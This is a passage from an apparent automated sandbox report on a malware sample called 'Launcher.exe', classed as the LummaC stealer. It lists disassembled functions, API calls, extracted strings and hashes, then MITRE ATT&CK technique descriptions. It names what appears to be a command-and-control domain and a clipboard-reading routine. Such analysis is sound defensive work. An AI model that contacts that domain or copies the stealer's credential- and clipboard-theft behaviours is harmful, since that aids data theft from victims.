GetSystemMetrics.USER32 ref: 0042E998
DeleteObject.GDI32 ref: 0042EA00
SelectObject.GDI32 ref: 0042EA5A
SelectObject.GDI32 ref: 0042EAE8
DeleteObject.GDI32 ref: 0042EB25

Strings

, xrefs: 0042EAB5

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: 640eeb25e2305cf101b69052d6e0db94b35fb5b611b211032f3f1cb649b8991e
Instruction ID: daef5ab0a4e356380b8862c75146fd5e1ff2990c26e9f480673e8cc83b9de9c1
Opcode Fuzzy Hash: 640eeb25e2305cf101b69052d6e0db94b35fb5b611b211032f3f1cb649b8991e
Instruction Fuzzy Hash: 5F915DB4605B008FD364EF29D585A16BBF1FB49700B508A6DE89AC7B60D730F849CF56

Function 00433790 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

r;C, xrefs: 00433B56, 00433C14

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: r;C
API String ID: 0-2069076542
Opcode ID: 7cb0e08eb525a8500cd58c5b56d04e6d72e8002c51c5f3b4f3cf7756261f0016
Instruction ID: 9d7f53090d7682251b4cfc9f684f014c8cbbd573ad12bbf41317ae72e0f35586
Opcode Fuzzy Hash: 7cb0e08eb525a8500cd58c5b56d04e6d72e8002c51c5f3b4f3cf7756261f0016
Instruction Fuzzy Hash: 70E10175608301DBD308CF18D890B2FB7A2FFC9319F15992DE58957391C739A90ACB8A

Function 004168B0 Relevance: 1.7, APIs: 1, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f30be97ba5408fbf2d1af046aa196ee4da521f314fa8799567139f2613d314b
Instruction ID: 379d8da4f27b4798d19dae488a97bcf1b143612358068f4191980da1d9396f5e
Opcode Fuzzy Hash: 8f30be97ba5408fbf2d1af046aa196ee4da521f314fa8799567139f2613d314b
Instruction Fuzzy Hash: 0A51C6B15083828FC714CF28C49176BBBE2AFD5304F15896EE5D987342D739D885CB56

Function 00438D50 Relevance: 1.5, APIs: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043B870,005C003F,00000002,00000018,?), ref: 00438D76

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Function 00437190 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 98
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?,?,?,?,?,?,0040BBDD), ref: 00437256

Strings

BrC, xrefs: 00437235
(YZ[, xrefs: 004371E6
rrC, xrefs: 00437262
brC, xrefs: 00437258
RrC, xrefs: 00437248
2rC, xrefs: 00437223

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID: (YZ[$2rC$BrC$RrC$brC$rrC
API String ID: 3298025750-3826185286
Opcode ID: 02ceb360db0e972ece445aa24a0b85f10999c6201a0a26206c7694aae22b5ccd
Instruction ID: 75a25bd84e687f1b2e4d6a54530ee16d91c5c72bc8c848721321d5b6985c8092
Opcode Fuzzy Hash: 02ceb360db0e972ece445aa24a0b85f10999c6201a0a26206c7694aae22b5ccd
Instruction Fuzzy Hash: 4F21813524C601DBC714DF08D8A0A6EF7E9EF8A754F149A2CD9D947352D335A811CB89

Function 0040A6C0 Relevance: 11.3, APIs: 1, Strings: 5, Instructions: 846
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 0040A884

Strings

<, xrefs: 0040ACC3
kaminiasbbefow.shop, xrefs: 0040AB80, 0040B1F1
&, xrefs: 0040AC6B
;, xrefs: 0040ACCB
7, xrefs: 0040ACAB

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: &$7$;$<$kaminiasbbefow.shop
API String ID: 1029625771-349772320
Opcode ID: 6c59bb83727fe9bbc0c4eaf606dc01a0d375ee459bba71d191ffbbc3f3f6379a
Instruction ID: cdbc88fff807af9048dc37ab3813ad720d62207858b25339daf2925c45f28090
Opcode Fuzzy Hash: 6c59bb83727fe9bbc0c4eaf606dc01a0d375ee459bba71d191ffbbc3f3f6379a
Instruction Fuzzy Hash: 9C925D70508B81CEC321DF3C9984606BFE1AB56324F048BADD4EA9B7D6D335A446CB97

Function 004298C4 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 87
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00429A1D

Strings

C, xrefs: 004298EA
A, xrefs: 004298FA
E, xrefs: 0042991A
G, xrefs: 0042990A
M, xrefs: 004298DA

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: A$C$E$G$M
API String ID: 2525500382-2282876700
Opcode ID: 12a16e113e1b033983675bbe5abd3c7753d6f9150125247291b2c07dfc4c9752
Instruction ID: 90ad79d909f4a1a96c32d548e48596b954b7568a3075857a0ba61c5b03320247
Opcode Fuzzy Hash: 12a16e113e1b033983675bbe5abd3c7753d6f9150125247291b2c07dfc4c9752
Instruction Fuzzy Hash: 0641D57010C7C28AD335CB28C5547DFBBE1AB96328F544A5DE8E88B3D2C77986498B53

Function 00427894 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004279AC

Strings

:jB, xrefs: 00426A34
RZ U, xrefs: 00427C07
v~ye, xrefs: 00425C1F
URhY, xrefs: 00425D44
b@R!, xrefs: 004266E1
b}B, xrefs: 00427D50
'"D[, xrefs: 004266F5
jLB*, xrefs: 004275DE
gvrd, xrefs: 00425C15
ssjx, xrefs: 00425C0B

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: '"D[$:jB$RZ U$URhY$b@R!$b}B$gvrd$jLB*$ssjx$v~ye
API String ID: 3960555810-3316563731
Opcode ID: 3bc42220b10e23199a82b73bb60725619716376324a08d6c3d0d9e817791c0b8
Instruction ID: a2c468897055f03fd6b026152592c57e43ad17e8ac9346d00baf6437f1c36ac3
Opcode Fuzzy Hash: 3bc42220b10e23199a82b73bb60725619716376324a08d6c3d0d9e817791c0b8
Instruction Fuzzy Hash: 8AD1C170204B918BD725CF39C0947A3BBE1AF1A314F548A6EC0EB87792D779B585CB44

Function 004095B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways, xrefs: 00409668

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways
API String ID: 0-780655312
Opcode ID: aac09231fed355f9c1b39918ad2f9c04415f6caf4ecc06c66f67da8dd6fc2309
Instruction ID: b8ae5d3af4bc4adf41466206da5bdc31ec699f7c6c565a1318447d9300db0281
Opcode Fuzzy Hash: aac09231fed355f9c1b39918ad2f9c04415f6caf4ecc06c66f67da8dd6fc2309
Instruction Fuzzy Hash: 1501E9B04083029ED710BF69D65535FBBE0AF54358F004E3DE4D8A62D1DB7E89498B97

Function 00438A26 Relevance: 4.7, APIs: 3, Instructions: 206memorylibraryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 00438B02
LoadLibraryExW.KERNELBASE(?,00000000,00000800), ref: 00438B9B
RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00438D03

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateDrivesHeapLibraryLoadLogical
String ID:
API String ID: 4096653379-0
Opcode ID: bc143c79bc7af2a50dbcabe56d8960d9c69c46c6690c4e9ad35c175eaacc14fb
Instruction ID: aaa224bce0f2cfb6be46274de55992c7be1fa298d6187e92d218e13138894615
Opcode Fuzzy Hash: bc143c79bc7af2a50dbcabe56d8960d9c69c46c6690c4e9ad35c175eaacc14fb
Instruction Fuzzy Hash: 4461F1B8508601DFDB049F24FC51629BBB1FF4B315F15493DE4854B362D7389461CB9A

Function 00409662 Relevance: 3.0, APIs: 2, Instructions: 10COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 00409686

Part of subcall function 00438C40: FreeLibrary.KERNEL32(00409695), ref: 00438C4B

ExitProcess.KERNEL32 ref: 004096A0

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitFreeLibraryProcessUninitialize
String ID:
API String ID: 3867510308-0
Opcode ID: 087b9ccb18a47cd7de4c6cb7e87fb9440acd9868ab3bc01a152f590acf15e6fd
Instruction ID: d6ad1123e229cdfc84c2318c44e04a5a7e2a4d579300773e8f90f928f8c3237e
Opcode Fuzzy Hash: 087b9ccb18a47cd7de4c6cb7e87fb9440acd9868ab3bc01a152f590acf15e6fd
Instruction Fuzzy Hash: 3BC0023041C140CAC38D3BA1950922A6AA4AB44301F222E3BA447A54A2CB7F0886AA6F

Function 0040967F Relevance: 3.0, APIs: 2, Instructions: 10COMMON

Download Yara Rule

APIs

Part of subcall function 0040C3A0: FreeLibrary.KERNEL32(00409684), ref: 0040C3A6

CoUninitialize.OLE32 ref: 00409686

Part of subcall function 00438C40: FreeLibrary.KERNEL32(00409695), ref: 00438C4B

ExitProcess.KERNEL32 ref: 004096A0

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary$ExitProcessUninitialize
String ID:
API String ID: 2272132877-0
Opcode ID: 3b341d68d2570e34d3b78441c19b92887e3f1ddd99f46722835164759fb338f2
Instruction ID: bc883f8238db78cba87b6d8cd291601c236146662f2a92bd12b88f1840508cdc
Opcode Fuzzy Hash: 3b341d68d2570e34d3b78441c19b92887e3f1ddd99f46722835164759fb338f2
Instruction Fuzzy Hash: 90C0023042D100CAC28D3BA194092296AA4BB44305F616E3FA447A5492CB7F0886AA6F

Function 00409657 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 00409686

Part of subcall function 00438C40: FreeLibrary.KERNEL32(00409695), ref: 00438C4B

ExitProcess.KERNEL32 ref: 004096A0

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitFreeLibraryProcessUninitialize
String ID:
API String ID: 3867510308-0
Opcode ID: 83f1fa8d5c4bc52c5f0340f220346d865a55b6fc4c676e8124eb9d7d584f1207
Instruction ID: d1c8a13fd129fe83d3c4dc6c2feda43fa0afc7453796f20e9fccb29cb2765be5
Opcode Fuzzy Hash: 83f1fa8d5c4bc52c5f0340f220346d865a55b6fc4c676e8124eb9d7d584f1207
Instruction Fuzzy Hash: 13C04C3041C100CBC38D3BA194093297AE4BB44301F212D3FE447A5492CB7F0886AA6F

Function 00438C60 Relevance: 1.6, APIs: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00438D03

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6035336c263f4a646a07d1f0356da63dc50133e43c4e866fdb763718c6cda745
Instruction ID: 3d9fa00bf229b4ffa9faedf8300a82af394a379873bf15f7c4e12604ad0e8b7e
Opcode Fuzzy Hash: 6035336c263f4a646a07d1f0356da63dc50133e43c4e866fdb763718c6cda745
Instruction Fuzzy Hash: 43212375509200EBC708AF14D860A6FBBA5EF8A324F14893DE4C647782CB389811CB9B

Function 00437176 Relevance: 1.5, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043717C

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c8f32903b304fe9d051552603c42350fcbb3f3c31e856fcc4e1856f22ae4c52a
Instruction ID: 241e3b688c59b69a46d6623a9c2201dde39ba90d5a3a63584268632dd85f633f
Opcode Fuzzy Hash: c8f32903b304fe9d051552603c42350fcbb3f3c31e856fcc4e1856f22ae4c52a
Instruction Fuzzy Hash: 52B0927554000AEADE105B80AC05BE87728EB00219F3000A1E608950A0C2225A27AB94

Function 004095F6 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

Part of subcall function 00438C40: FreeLibrary.KERNEL32(00409695), ref: 00438C4B

ExitProcess.KERNEL32 ref: 004096A0

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: 027410e81fbe17ab73afa08df7ff4e033744b7b8db87d9ae91f9190aa8b3b2e9
Instruction ID: 0996bd0c492f4816fa2bc9caba43cbeccc1c24f4d21505c43bf6d31d2ae3e4d1
Opcode Fuzzy Hash: 027410e81fbe17ab73afa08df7ff4e033744b7b8db87d9ae91f9190aa8b3b2e9
Instruction Fuzzy Hash: 64B0923002C1008AC2893BA084043296AD47B08301F212C3FA087A5092CA7F0882AA6F

Function 004095CD Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

Part of subcall function 00438C40: FreeLibrary.KERNEL32(00409695), ref: 00438C4B

ExitProcess.KERNEL32 ref: 004096A0

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: 50f7c7aae8c575aae0c2516019d4096f94243ada88046229add314cf2dc80aa6
Instruction ID: 5810c6076ddd2fb2e378430258ba7dce9bd695c39e4a689f39034162dda50e87
Opcode Fuzzy Hash: 50f7c7aae8c575aae0c2516019d4096f94243ada88046229add314cf2dc80aa6
Instruction Fuzzy Hash: 22B012300281008AC3CC3FB0840432C7AD47B08301F202C3FE087D5092CB7F04819A2F

Function 004095BF Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 004096A0

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c5c2bacad92d2ae844b0d4ecac52b90e09eeedbe0263677cd4c367828aa28fc4
Instruction ID: 074f8cacc8222333723d3c4fbeb211f3c6b519be2bca56a0aca5050c9f2c2e68
Opcode Fuzzy Hash: c5c2bacad92d2ae844b0d4ecac52b90e09eeedbe0263677cd4c367828aa28fc4
Instruction Fuzzy Hash: CAA001705281409AD3887BA498083297AE4BB08302F511839908AD11A1D7BA54459A5A

Non-executed Functions

Function 0042D8C0 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 132clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0042D8DD
GetWindowLongW.USER32 ref: 0042D900
GetClipboardData.USER32 ref: 0042D914
GlobalLock.KERNEL32 ref: 0042D939
GlobalUnlock.KERNEL32 ref: 0042DA7A
CloseClipboard.USER32 ref: 0042DA89

Strings

S, xrefs: 0042D989
s, xrefs: 0042D97F
%, xrefs: 0042D9C0
Z, xrefs: 0042D9A7
X, xrefs: 0042D993
_, xrefs: 0042D99D
U, xrefs: 0042D984

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: %$S$U$X$Z$_$s
API String ID: 2832541153-3606153639
Opcode ID: bf524491c8618bbd3f1b6e84c2c9b499fcdab80e3d0284db633c9beb83acee4d
Instruction ID: 92b9cf2baec4b94a6889278205cb142ec1abe4b416852f39116fb6cf71b45c0a
Opcode Fuzzy Hash: bf524491c8618bbd3f1b6e84c2c9b499fcdab80e3d0284db633c9beb83acee4d
Instruction Fuzzy Hash: 8051587190C3818FC300EF68D44865FBFE0AB9A314F444A6EE8D897291D779D949CB9B

Function 0042DF65 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 181COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0042DFE3
GetSystemMetrics.USER32 ref: 0042DFF4
DeleteObject.GDI32 ref: 0042E056
SelectObject.GDI32 ref: 0042E0A4
SelectObject.GDI32 ref: 0042E138
DeleteObject.GDI32 ref: 0042E16F

Strings

, xrefs: 0042E10B

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: df85648c8d22fdca9192c37d507d256ab4b1e8f1406b1b34bb6cac2fd65882b5
Instruction ID: b0c7157392e505f3f4eaf4fddc6c734d0708ce795a7aa7148bd950ac5b1275fd
Opcode Fuzzy Hash: df85648c8d22fdca9192c37d507d256ab4b1e8f1406b1b34bb6cac2fd65882b5
Instruction Fuzzy Hash: 42817BB4A04B009FD354EF29D585A1ABBF0FF4A304F10896DE99ACB764D731A848CF52

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Launcher.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

